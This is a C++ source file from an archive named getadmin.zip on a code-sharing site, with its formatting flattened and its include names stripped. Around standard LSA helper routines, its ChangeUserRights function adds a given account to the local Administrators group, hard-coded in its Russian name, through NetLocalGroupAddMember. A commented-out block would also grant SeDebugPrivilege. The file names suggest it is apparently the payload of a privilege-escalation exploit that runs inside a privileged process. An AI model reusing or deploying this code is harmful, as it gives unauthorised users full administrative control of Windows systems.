www.pudn.com > getadmin.zip > LsaEnj.cpp
#ifndef UNICODE #define UNICODE #endif // UNICODE #include#include "ntsecapi.h" #include void LogA(LPSTR strA); void LogW(LPTSTR strW) { char strA[256]; wcstombs(strA,strW,wcslen(strW)); LogA(strA); } NTSTATUS OpenPolicy( LPWSTR ServerName, // machine to open policy on (Unicode) DWORD DesiredAccess, // desired access to policy PLSA_HANDLE PolicyHandle // resultant policy handle ); BOOL GetAccountSid( LPTSTR SystemName, // where to lookup account LPTSTR AccountName, // account of interest PSID *Sid // resultant buffer containing SID ); NTSTATUS SetPrivilegeOnAccount( LSA_HANDLE PolicyHandle, // open policy handle PSID AccountSid, // SID to grant privilege to LPWSTR PrivilegeName, // privilege to grant (Unicode) BOOL bEnable // enable or disable ); void InitLsaString( PLSA_UNICODE_STRING LsaString, // destination LPWSTR String // source (Unicode) ); void DisplayNtStatus( LPSTR szAPI, // pointer to function name (ANSI) NTSTATUS Status // NTSTATUS error value ); void DisplayWinError( LPSTR szAPI, // pointer to function name (ANSI) DWORD WinError // DWORD WinError ); #define RTN_OK 0 #define RTN_USAGE 1 #define RTN_ERROR 13 // // If you have the ddk, include ntstatus.h. // #ifndef STATUS_SUCCESS #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #endif int ChangeUserRights(char* Account) { LSA_HANDLE PolicyHandle; WCHAR wComputerName[200]=L""; WCHAR wGroupName[200]=L"Администраторы";//L"Administrators"; WCHAR szAccountName[200]; WCHAR szProcessAccountName[200]; DWORD dwAccountSize = 200; LONG lAccountSize = 200; SID administrators; SID_IDENTIFIER_AUTHORITY IdentifierAuthority= SECURITY_NT_AUTHORITY; DWORD cbName = sizeof(wGroupName); WCHAR ReferencedDomainName[255]; DWORD cbReferencedDomainName = 255; SID_NAME_USE eUse; PSID pSid; NTSTATUS Status; int iRetVal=RTN_ERROR; administrators.IdentifierAuthority = IdentifierAuthority; administrators.SubAuthority[0] = SECURITY_BUILTIN_DOMAIN_RID; administrators.SubAuthority[1] = DOMAIN_GROUP_RID_ADMINS; administrators.Revision = 1; mbstowcs(szAccountName,Account,strlen(Account)); LogA("\nChangeUserRight Begin"); GetUserName(szProcessAccountName,&dwAccountSize); LogA("\nProcess Account: "); LogW(szProcessAccountName); if(!wcslen(szAccountName)){ LogA("\nNo account"); return 0; } LogA("\nUserName:"); LogW(szAccountName); LogA("\n"); // // Open the policy on the target machine. // if((Status=OpenPolicy( wComputerName, // target machine POLICY_ALL_ACCESS, // &PolicyHandle // resultant policy handle )) != STATUS_SUCCESS) { DisplayNtStatus("OpenPolicy", Status); return RTN_ERROR; } // // Obtain the SID of the user/group. // Note that we could target a specific machine, but we don't. // Specifying NULL for target machine searches for the SID in the // following order: well-known, Built-in and local, primary domain, // trusted domains. // if(GetAccountSid( NULL, // default lookup logic szAccountName,// account to obtain SID &pSid // buffer to allocate to contain resultant SID )) { // // We only grant the privilege if we succeeded in obtaining the // SID. We can actually add SIDs which cannot be looked up, but // looking up the SID is a good sanity check which is suitable for // most cases. //SE_SHUTDOWN_NAME // Grant the SeServiceLogonRight to users represented by pSid. // /* if((Status=SetPrivilegeOnAccount( PolicyHandle, // policy handle pSid, // SID to grant privilege L"SeDebugPrivilege", // Unicode privilege TRUE // enable the privilege )) == STATUS_SUCCESS) iRetVal=RTN_OK; else DisplayNtStatus("AddUserRightToAccount", Status); */ } else { // // Error obtaining SID. // DisplayWinError("GetAccountSid", GetLastError()); } if(!LookupAccountSid( 0, &administrators, wGroupName, &cbName, ReferencedDomainName, &cbReferencedDomainName, &eUse )) LogA("LookupAccountSid failed\n"); NetLocalGroupAddMember(0,wGroupName,pSid); // // Close the policy handle. // LsaClose(PolicyHandle); // // Free memory allocated for SID. // if(pSid != NULL) HeapFree(GetProcessHeap(), 0, pSid); return iRetVal; } void InitLsaString( PLSA_UNICODE_STRING LsaString, LPWSTR String ) { DWORD StringLength; if (String == NULL) { LsaString->Buffer = NULL; LsaString->Length = 0; LsaString->MaximumLength = 0; return; } StringLength = wcslen(String); LsaString->Buffer = String; LsaString->Length = (USHORT) StringLength * sizeof(WCHAR); LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR); } NTSTATUS OpenPolicy( LPWSTR ServerName, DWORD DesiredAccess, PLSA_HANDLE PolicyHandle ) { LSA_OBJECT_ATTRIBUTES ObjectAttributes; LSA_UNICODE_STRING ServerString; PLSA_UNICODE_STRING Server = NULL; // // Always initialize the object attributes to all zeroes. // ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes)); if (ServerName != NULL) { // // Make a LSA_UNICODE_STRING out of the LPWSTR passed in // InitLsaString(&ServerString, ServerName); Server = &ServerString; } // // Attempt to open the policy. // return LsaOpenPolicy( Server, &ObjectAttributes, DesiredAccess, PolicyHandle ); } BOOL GetAccountSid( LPTSTR SystemName, LPTSTR AccountName, PSID *Sid ) { LPTSTR ReferencedDomain=NULL; DWORD cbSid=128; // initial allocation attempt DWORD cbReferencedDomain=16; // initial allocation size SID_NAME_USE peUse; BOOL bSuccess=FALSE; // assume this function will fail __try { // // initial memory allocations // if((*Sid=HeapAlloc( GetProcessHeap(), 0, cbSid )) == NULL) __leave; if((ReferencedDomain=(LPTSTR)HeapAlloc( GetProcessHeap(), 0, cbReferencedDomain )) == NULL) __leave; // // Obtain the SID of the specified account on the specified system. // while(!LookupAccountName( SystemName, // machine to lookup account on AccountName, // account to lookup *Sid, // SID of interest &cbSid, // size of SID ReferencedDomain, // domain account was found on &cbReferencedDomain, &peUse )) { if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { // // reallocate memory // if((*Sid=HeapReAlloc( GetProcessHeap(), 0, *Sid, cbSid )) == NULL) __leave; if((ReferencedDomain=(LPTSTR)HeapReAlloc( GetProcessHeap(), 0, ReferencedDomain, cbReferencedDomain )) == NULL) __leave; } else __leave; } // // Indicate success. // bSuccess=TRUE; } // finally __finally { // // Cleanup and indicate failure, if appropriate. // HeapFree(GetProcessHeap(), 0, ReferencedDomain); if(!bSuccess) { if(*Sid != NULL) { HeapFree(GetProcessHeap(), 0, *Sid); *Sid = NULL; } } } // finally return bSuccess; } NTSTATUS SetPrivilegeOnAccount( LSA_HANDLE PolicyHandle, // open policy handle PSID AccountSid, // SID to grant privilege to LPWSTR PrivilegeName, // privilege to grant (Unicode) BOOL bEnable // enable or disable ) { LSA_UNICODE_STRING PrivilegeString; // // Create a LSA_UNICODE_STRING for the privilege name. // InitLsaString(&PrivilegeString, PrivilegeName); // // grant or revoke the privilege, accordingly // if(bEnable) { return LsaAddAccountRights( PolicyHandle, // open policy handle AccountSid, // target SID &PrivilegeString, // privileges 1 // privilege count ); } else { return LsaRemoveAccountRights( PolicyHandle, // open policy handle AccountSid, // target SID FALSE, // do not disable all rights &PrivilegeString, // privileges 1 // privilege count ); } } void DisplayNtStatus( LPSTR szAPI, NTSTATUS Status ) { // // Convert the NTSTATUS to Winerror. Then call DisplayWinError(). // DisplayWinError(szAPI, LsaNtStatusToWinError(Status)); } void DisplayWinError( LPSTR szAPI, DWORD WinError ) { LPSTR MessageBuffer; DWORD dwBufferLength; if(dwBufferLength=FormatMessageA( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, WinError, GetUserDefaultLangID(), (LPSTR) &MessageBuffer, 0, NULL )) { // // Output message string on stderr. // /* WriteFile( GetStdHandle(STD_ERROR_HANDLE), MessageBuffer, dwBufferLength, &dwBytesWritten, NULL ); */ MessageBuffer[dwBufferLength] =0; LogA(MessageBuffer); // // Free the buffer allocated by the system. // LocalFree(MessageBuffer); } }